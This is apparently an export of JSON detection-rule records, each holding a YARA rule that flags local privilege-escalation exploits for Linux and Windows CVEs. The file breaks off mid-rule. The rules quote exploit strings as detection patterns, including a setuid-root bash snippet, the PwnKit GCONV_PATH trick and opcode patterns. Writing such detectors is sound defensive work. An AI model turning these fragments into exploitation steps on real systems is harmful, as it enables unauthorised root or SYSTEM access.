+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586674Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.qualys.com/vulnerabilities-threat-research/2021/07/20/sequoia-a-local-privilege-escalation-vulnerability-in-linuxs-filesystem-layer-cve-2021-33909"
+  ],
+  "name": "cve-2021-33909.yar",
+  "content": "rule cve_2021_33909 {\n    meta:\n        title = \"CVE-2021-33909 LPE Exploit\"\n        id = \"b13659d5-1de5-4c6e-bf37-e627f8dbb8ec\"\n        description = \"Detects an exploit for the CVE-2021-33909 LPE vulnerability, also known as Sequoia.\\nThis vulnerability allows unprivileged users to gain root privileges by exploiting a flaw in the Linux filesystem layer.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://blog.qualys.com/vulnerabilities-threat-research/2021/07/20/sequoia-a-local-privilege-escalation-vulnerability-in-linuxs-filesystem-layer-cve-2021-33909\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2021-33909\"\n        classification = \"Linux.Exploit.CVE-2021-33909\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 87f491a7783f7715f1ea664a7c3a8aa8a296ddf853e0ee76e4b126af576012dc\n\n        $s1 = \"creating directories, please wait...\" fullword ascii\n        $s2 = \"crashing...\" fullword ascii\n        $s3 = \"died in %s: %u\" fullword ascii\n\n        $exploit1 = \"/proc/self/mountinfo\" fullword ascii\n        $exploit2 = \"\\\\134\" fullword ascii\n        $exploit3 = \"/proc/%ld/setgroups\" fullword ascii\n        $exploit4 = \"/proc/%ld/uid_map\" fullword ascii\n        $exploit5 = \"0 %ld 1\" fullword ascii\n        $exploit6 = \"/proc/%ld/gid_map\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and (all of ($s*) or all of ($exploit*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2021_33909"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.CVE-2021-33909"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2021-3493_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576888Z",
+  "creation_date": "2026-03-23T11:46:25.576890Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576896Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ubuntu.com/security/CVE-2021-3493\nhttps://github.com/briskets/CVE-2021-3493"
+  ],
+  "name": "cve-2021-3493.yar",
+  "content": "rule cve_2021_3493 {\n    meta:\n        title = \"CVE-2021-3493 LPE Exploit\"\n        id = \"9e36ace6-19f8-414c-a918-ef85fbf55594\"\n        description = \"Detects the exploitation of the CVE-2021-3493 vulnerability in OverlayFS, Ubuntu-specific.\\nThe vulnerability arises from improper validation of file capabilities in OverlayFS, allowing attackers to gain elevated privileges.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://ubuntu.com/security/CVE-2021-3493\\nhttps://github.com/briskets/CVE-2021-3493\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2021-3493\"\n        classification = \"Linux.Exploit.CVE-2021-3493\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e75b38661de7d19e1b5fe22d6aaeb8a3e0f60978ad213da88b34c67ca2dcc6bd\n\n        $s1 = \"./ovlcap\" fullword ascii\n        $s2 = \"rm -rf '%s/'\" fullword ascii\n        $s3 = \"died in %s: %u\" fullword ascii\n\n        $exploit1 = \"/proc/self/setgroups\" fullword ascii\n        $exploit2 = \"0 %d 1\" fullword ascii\n        $exploit3 = \"/proc/self/uid_map\" fullword ascii\n        $exploit4 = \"/proc/self/gid_map\" fullword ascii\n        $exploit5 = \"/proc/self/exe\" fullword ascii\n        $exploit6 = {\n            48 ?? 01 00 00 02 FF FF FF FF                 // mov     rax, 0FFFFFFFF02000001h\n            48 ?? 00 00 00 00 FF FF FF FF                 // mov     rdx, 0FFFFFFFF00000000h\n        }\n\n    condition:\n        uint16(0) == 0x457f and (all of ($s*) or all of ($exploit*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2021_3493"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.CVE-2021-3493"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2021-4034_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576846Z",
+  "creation_date": "2026-03-23T11:46:25.576848Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576853Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034"
+  ],
+  "name": "cve-2021-4034.yar",
+  "content": "rule cve_2021_4034 {\n    meta:\n        title = \"CVE-2021-4034 LPE Exploit\"\n        id = \"af332cf0-d2dc-4757-8d2b-c7216e2a78b2\"\n        description = \"Detects the Pwnkit LPE exploit (CVE-2021-4034) targeting Polkit's pkexec.\\nPwnkit is a local privilege escalation vulnerability in the pkexec tool, allowing unprivileged users to gain root access by bypassing system checks.\\nThis exploit has been widely used and affects multiple Linux distributions.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034\\nhttps://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2021-4034\"\n        classification = \"Linux.Exploit.CVE-2021-4034\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 8c5fd2687d3a7fa2e0507b9ed87d8ead0275cfe9b7d6c8bb629a1b37eba604bd\n        // 5fc47d5a952dd65b0b3319ecf6485e645e0576f2c7aea3f0938f1a985880866f\n\n        $s1 = \"PATH=GCONV_PATH=.\" fullword ascii\n        $s2 = \"CHARSET=\" ascii\n        $s3 = \"/usr/bin/pkexec\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2021_4034"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.CVE-2021-4034"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2022-34918_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572651Z",
+  "creation_date": "2026-03-23T11:46:25.572653Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572658Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/randorisec/CVE-2022-34918-LPE-PoC\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "cve-2022-34918.yar",
+  "content": "rule cve_2022_34918 {\n    meta:\n        title = \"CVE-2022-34918 LPE Exploit\"\n        id = \"d4794408-f36c-4915-a18e-31f7cd81a1f6\"\n        description = \"Detects the Linux Kernel exploit targeting CVE-2022-34918.\\nThis exploit leverages a type confusion bug in nft_set_elem_init, which can cause a buffer overflow, allowing a local attacker to escalate privileges.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/randorisec/CVE-2022-34918-LPE-PoC\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2022-11-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2022-34918\"\n        classification = \"Linux.Exploit.CVE-2022-34918\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9c5ed9f4c7b7ee0a950cb1f1ea4bccc7816162f1d977101c066dba1979ef8580\n        // 80b3a8f79436289029b178c6f808d545a6308434d806edb305aa3d03b1ae3d56\n\n        $s1 = \"[-] calloc\" fullword ascii\n        $s2 = \"[-] add key\" fullword ascii\n        $s3 = \"[-] keyctl(KEY_CTL_REVOKE)\" fullword ascii\n        $s4 = \"#!/bin/bash\\n\\nchown root:root /tmp/get_root\\nchmod 4555 /tmp/get_root\\n\" fullword ascii\n        $s5 = \"[-] unshare(CLONE_NEWUSER | CLONE_NEWNS)\" fullword ascii\n        $s6 = \"[-] open(/proc/sys/kernel/modprobe)\" fullword ascii\n        $s7 = \"/tmp/dummy\" fullword ascii\n        $s8 = \"[+] Get CAP_NET_ADMIN capability\" fullword ascii\n        $s9 = \"[+] kaslr base found 0x%lx\\n\" fullword ascii\n\n        // from line 56 of keystring.c in https://github.com/randorisec/CVE-2022-34918-LPE-PoC\n        // Works for -O0, 1, 2 and 3\n        $op_parse_leak = {\n            8B 45 ??                       // mov     eax, [rbp+??]\n            48 8D 14 C5 00 00 00 00        // lea     rdx, ds:0[rax*8]\n            48 8B 45 ??                    // mov     rax, [rbp+??]\n            48 01 D0                       // add     rax, rdx\n            48 8B 00                       // mov     rax, [rax]\n            25 FF FF 0F 00                 // and     eax, 0FFFFFh\n            48 3D 00 FA 0D 00              // cmp     rax, 0DFA00h\n            75 ??                          // jnz     short loc_401ED4\n            8B 45 ??                       // mov     eax, [rbp+??]\n            48 8D 14 C5 00 00 00 00        // lea     rdx, ds:0[rax*8]\n            48 8B 45 ??                    // mov     rax, [rbp+??]\n            48 01 D0                       // add     rax, rdx\n            48 8B 00                       // mov     rax, [rax]\n            48 8D 90 00 06 C2 FF           // lea     rdx, [rax-3DFA00h]\n            48 8B 45 ??                    // mov     rax, [rbp+??]\n            48 89 10                       // mov     [rax], rdx\n            8B 45 ??                       // mov     eax, [rbp+??]\n            83 C0 05                       // add     eax, 5\n            89 C0                          // mov     eax, eax\n            48 8D 14 C5 00 00 00 00        // lea     rdx, ds:0[rax*8]\n            48 8B 45 ??                    // mov     rax, [rbp+??]\n            48 01 D0                       // add     rax, rdx\n            48 8B 00                       // mov     rax, [rax]\n            48 BA 00 00 00 00 FF FF FF FF  // mov     rdx, 0FFFFFFFF00000000h\n            48 21 C2                       // and     rdx, rax\n            48 8B 45 ??                    // mov     rax, [rbp+??]\n            48 89 50 08                    // mov     [rax+8], rdx\n            48 8B 45 ??                    // mov     rax, [rbp+??]\n        }\n\n    condition:\n        uint16(0) == 0x457f and filesize < 1400KB and (all of ($s*) or $op_parse_leak)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2022_34918"
+  ],
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.CVE-2022-34918"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve_2023_21768_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584336Z",
+  "creation_date": "2026-03-23T11:46:25.584338Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584344Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://nvd.nist.gov/vuln/detail/CVE-2023-21768\nhttps://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768/tree/master"
+  ],
+  "name": "cve_2023_21768.yar",
+  "content": "rule cve_2023_21768 {\n    meta:\n        title = \"CVE-2023-21768 LPE Exploit\"\n        id = \"9a2bc78d-def5-4958-8e10-67b03a278e99\"\n        description = \"Detects payloads exploiting the CVE-2023-21768 Local Privilege Escalation vulnerability.\\nThis vulnerability enables attackers to escalate privileges by performing arbitrary kernel memory operations, granting them SYSTEM-level access.\"\n        references = \"https://nvd.nist.gov/vuln/detail/CVE-2023-21768\\nhttps://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768/tree/master\"\n        date = \"2023-09-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2023-21768\"\n        classification = \"Windows.Exploit.CVE-2023-21768\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 722b3030a0017588fc0e8bf736bc53bf31a5288c27679e044e098e2de0469f10\n\n        $canary = \"91c5bb0ba01db03fe9b7d3d4220cb3217ce0c13d8b3a2f790ffc12a1d8ce91f2\"\n\n        $s1 = \"exp.exe <pid>\" fullword ascii\n        $s2 = \"[!] Attempting to elevate pid %i\" fullword ascii\n        $s3 = \"[-] Failed to get address of NT functions: %0x\" fullword ascii\n        $s4 = \"[-] IORING setup failed: %0x\" fullword ascii\n        $s5 = \"[+] IoRing Obj Address at %llx\" fullword ascii\n        $s6 = \"[-] IoRing->RegBuffers overwrite failed: %0x\" fullword ascii\n        $s7 = \"[+] IoRing->RegBuffers overwritten with address 0x1000000\" fullword ascii\n        $s8 = \"[-] IoRing->RegBuffersCount overwrite failed: %0x\" fullword ascii\n        $s9 = \"[+] IoRing->RegBuffersCount overwritten with 0x1\" fullword ascii\n        $s10 = \"[-] LPE Failed: %0x\" fullword ascii\n        $s11 = \"[+] Target process token elevated to SYSTEM!\" fullword ascii\n        $s12 = \"[+] System EPROC address: %llx\" fullword ascii\n        $s13 = \"[+} Target process EPROC address: %llx\" fullword ascii\n        $s14 = \"[+] System token is at: %llx\" fullword ascii\n\n    condition:\n        5 of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2023_21768"
+  ],
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.CVE-2023-21768"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve_2024_21338_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584307Z",
+  "creation_date": "2026-03-23T11:46:25.584309Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584315Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/"
+  ],
+  "name": "cve_2024_21338.yar",
+  "content": "rule cve_2024_21338 {\n    meta:\n        title = \"CVE-2024-21338 LPE Exploit\"\n        id = \"f6da85b4-fa5c-4d8b-81f2-0cbfdebe569b\"\n        description = \"Detects payloads exploiting the CVE-2024-21338 Local Privilege Escalation vulnerability.\\nThis exploit enables attackers with administrative privileges to gain kernel-level access by manipulating the AppLocker driver through an ioctl call.\"\n        references = \"https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/\"\n        date = \"2024-04-17\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2024-21338\"\n        classification = \"Windows.Exploit.CVE-2024-21338\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 0517f8e37149d0a17a9d8f9071ade7831b6a310a3bb80f0e4e1ec792486f3d60\n\n        $generic_1 = \"\\\\Device\\\\AppID\" wide fullword\n        // Function call to NtDeviceIoControlFile with the vulnerable\n        // 0x22A018 ioctl\n        $generic_2 = { 18 A0 22 00 }\n        // Windows build number after which exploitation structure are\n        // different in size.\n        $generic_3 = { F0 55 00 00 }\n        // Offset of the KTHREAD structure of the PreviousMode\n        $generic_4 = { 32 02 00 00 }\n\n        // ntoskrnl pattern searched for exploitation\n        $generic_5 = {\n            00 00 00 40        // mov     [rsp+0A8h+pattern], 40h ; '@'\n            [2-4] 00 00 00 53  // mov     [rsp+0A8h+pattern+1], 53h ; 'S'\n            [2-4] 00 00 00 48  // mov     [rsp+0A8h+pattern+2], 48h ; 'H'\n            [2-4] 00 00 00 83  // mov     [rsp+0A8h+pattern+3], 83h\n            [2-4] 00 00 00 EC  // mov     [rsp+0A8h+pattern+4], 0ECh\n            [2-4] 00 00 00 20  // mov     [rsp+0A8h+pattern+5], 20h ; ' '\n            [2-4] 00 00 00 48  // mov     [rsp+0A8h+pattern+6], 48h ; 'H'\n            [2-4] 00 00 00 83  // mov     [rsp+0A8h+pattern+7], 83h\n            [2-4] 00 00 00 79  // mov     [rsp+0A8h+pattern+8], 79h ; 'y'\n            [2-4] 00 00 00 30  // mov     [rsp+0A8h+pattern+9], 30h ; '0'\n            [2-4] 00 00 00 00  // mov     [rsp+0A8h+pattern+0Ah], 0\n            [2-4] 00 00 00 48  // mov     [rsp+0A8h+pattern+0Bh], 48h ; 'H'\n            [2-4] 00 00 00 8B  // mov     [rsp+0A8h+pattern+0Ch], 8Bh\n            [2-4] 00 00 00 D9  // mov     [rsp+0A8h+pattern+0Dh], 0D9h\n            [2-4] 00 00 00 74  // mov     [rsp+0A8h+pattern+0Eh], 74h ; 't'\n        }\n\n        // Various strings associated with the open-source POC\n        $poc_1 = \"AppLocker (AppId) handle opened: 0x%p\" ascii fullword\n        $poc_2 = \"c_impersonate::find_process_token_and_duplicate\" ascii fullword\n        $poc_3 = \"c_impersonate::impersonate_as_local_service\" ascii fullword\n        $poc_4 = \"c_impersonate::impersonate_as_local_service\" ascii fullword\n        $poc_5 = \"c_impersonate::impersonate_as_system\" ascii fullword\n        $poc_6 = \"c_impersonate::impersonate\" ascii fullword\n        $poc_7 = \"c_impersonate::token_check_privilege\" ascii fullword\n        $poc_8 = \"c_impersonate::token_compare_sids\" ascii fullword\n        $poc_9 = \"c_impersonate::token_get_sid\" ascii fullword\n        $poc_10 = \"c_impersonate::token_get_username\" ascii fullword\n        $poc_11 = \"c_impersonate::token_is_not_restricted\" ascii fullword\n        $poc_12 = \"c_poc::act\" ascii fullword\n        $poc_13 = \"c_poc::get_ethread_address\" ascii fullword\n        $poc_14 = \"c_poc::get_file_object_address\" ascii fullword\n        $poc_15 = \"c_poc::set_ioctl_buffer\" ascii fullword\n        $poc_16 = \"Current ETHREAD PreviousMode address -> 0x%p\" ascii fullword\n        $poc_17 = \"Current PreviousMode -> %d\" ascii fullword\n        $poc_18 = \"ETHREAD address leaked: 0x%p\" ascii fullword\n        $poc_19 = \"Failed to duplicate handle, error: %lu\" ascii fullword\n        $poc_20 = \"Failed to fetch the ETHREAD/FileObject/KernelBase addresses.\" ascii fullword\n        $poc_21 = \"Failed to open dummy file, error: %lu\" ascii fullword\n        $poc_22 = \"Feching the ExpProfileDelete (user cfg gadget) address.\" ascii fullword\n        $poc_23 = \"File object address -> 0x%p\" ascii fullword\n        $poc_24 = \"Found a potential Process candidate: PID=%d - Image='%ws' - User='%ws'\" ascii fullword\n        $poc_25 = \"ioctl_buffer -> 0x%p size: %d\" ascii fullword\n        $poc_26 = \"kCFG Gadget address -> 0x%p\" ascii fullword\n        $poc_27 = \"kCFG User Base address -> 0x%p\" ascii fullword\n        $poc_28 = \"Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)\" ascii fullword\n        $poc_29 = \"Windows version detected: %lu.%lu, build: %lu.\" ascii fullword\n\n        $canary = \"1e0e9f9bebba5157dab7742a339e2e6e74958e8a43709b844cde3470ccaa059b\"\n    condition:\n        all of ($generic_*) or 3 of ($poc_*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2024_21338"
+  ],
+  "rule_creation_date": "2024-04-17",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.CVE-2024-21338"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2024-30088_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584394Z",
+  "creation_date": "2026-03-23T11:46:25.584396Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584401Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/tykawaii98/CVE-2024-30088\nhttps://archive.is/RuKH4"
+  ],
+  "name": "cve-2024-30088.yar",
+  "content": "rule cve_2024_30088 {\n    meta:\n        title = \"CVE-2024-30088 LPE Exploitation\"\n        id = \"ef0129d6-5121-4a11-b42c-cbff440a2ba9\"\n        description = \"Detects payloads exploiting the CVE-2024-30088 vulnerability affecting the Microsoft Windows Kernel.\\nThis vulnerability enables privilege escalation via a race condition, specifically a Time-of-Check Time-of-Use (TOCTOU) flaw.\"\n        references = \"https://github.com/tykawaii98/CVE-2024-30088\\nhttps://archive.is/RuKH4\"\n        date = \"2024-10-21\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2024-30088\"\n        classification = \"Windows.Exploit.CVE-2024-30088\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 163dcf1f9337265eaab9390581256f5322c6f7820aba361272fd51d180dc75a7\n        // 1baca5609c5085c10a4adfa8e659dfd019e06fffff3d7a06fc273494939a9d63\n        // 2d9c8e69b0090f9ee7219f340eb40c2ad07783ece8010458b2f36e685195ced3\n        // 3ccaca6200d98234ab05a63e342ad64dda6561b7a5c07e8d7e6e13f7872cb3c1\n        // 71b6f06bb48ad21bd36151bb137a32d2c3d3e0febe9bfca9a8e1f14760d02203\n\n        $s1 = \"GetProcAddress() failed.\" ascii fullword\n        $s2 = \"NtQuerySystemInformation failed with error code 0x%X\" ascii fullword\n        $s3 = \"Error creating new process (%d)\" ascii fullword\n        $s4 = \"Enjoy your new SYSTEM process\" ascii fullword\n        $s5 = \"hToken: %x, kTokenAddr: %p\" ascii fullword\n        $s6 = \"Found target offset value: 0x%x\" ascii fullword\n        $s7 